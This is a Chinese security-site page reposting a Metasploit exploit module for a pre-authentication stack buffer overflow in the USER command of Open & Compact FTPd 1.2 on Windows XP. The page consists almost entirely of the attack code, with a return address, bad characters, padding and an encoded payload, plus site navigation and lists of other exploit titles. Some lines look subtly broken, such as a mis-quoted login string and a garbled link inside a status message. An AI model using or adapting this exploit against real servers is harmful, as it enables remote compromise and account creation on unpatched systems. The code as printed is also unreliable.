首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow (meta)
来源:vfocus.net 作者:Blake 发布时间:2010-03-16  

# Exploit Title: Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow MSF
# Date: March 14, 2010
# Author: Blake
# Version: 1.2
# Tested on: XP SP3

Exploit causes the ftp server to crash so adduser, etc. payloads are most effective.

 

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack overflow in the USER verb in Open & Compact FTPd version 1.2. The program will crash once the payload is sent, so bind shell payloads are not effective.

            },
            'Author'         => 'Blake',
            'License'        => MSF_LICENSE,
            'Version'        => 'Version 1',
            'References'     =>
                [
                    [ 'EDB-ID', '11420'],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11420' ],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 400,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x00202c42 } ],

                ],
            'DisclosureDate' => 'Feb 12, 2010',
            'DefaultTarget'  => 0))
    end


    def exploit
        connect

        sploit =  "\x42\x2c\x20" * 199
        sploit << make_nops(10)
        sploit << payload.encoded

        print_status("Trying target {target.name<http://target.name>}...")

        login = "USER + sploit + \r\n"
        login << "PASS " + rand_text_alphanumeric(12)

        sock.put(login + "\r\n")

        handler
        disconnect
    end

end

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PhpMyLogon v2 SQL Injection Vu
·Liquid XML Studio 2010 <= v8.0
·Ruby on Rails 'protect_from_fo
·# SWINGETTE 1.1 (.mp3) Buffer
·Embedthis Appweb 3.1.2 Remote
·QuickZip 4.60.019 Stack BOF -
·Oracle 11gR2 Multiple Remote P
·ArGoSoft FTP Server .NET v.1.0
·httpdx v1.5.3b Multiple - Remo
·iPhone Springboard Malformed C
·Media Player V6.4.9.1 with K-L
·Microsoft Virtual PC Hyperviso
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved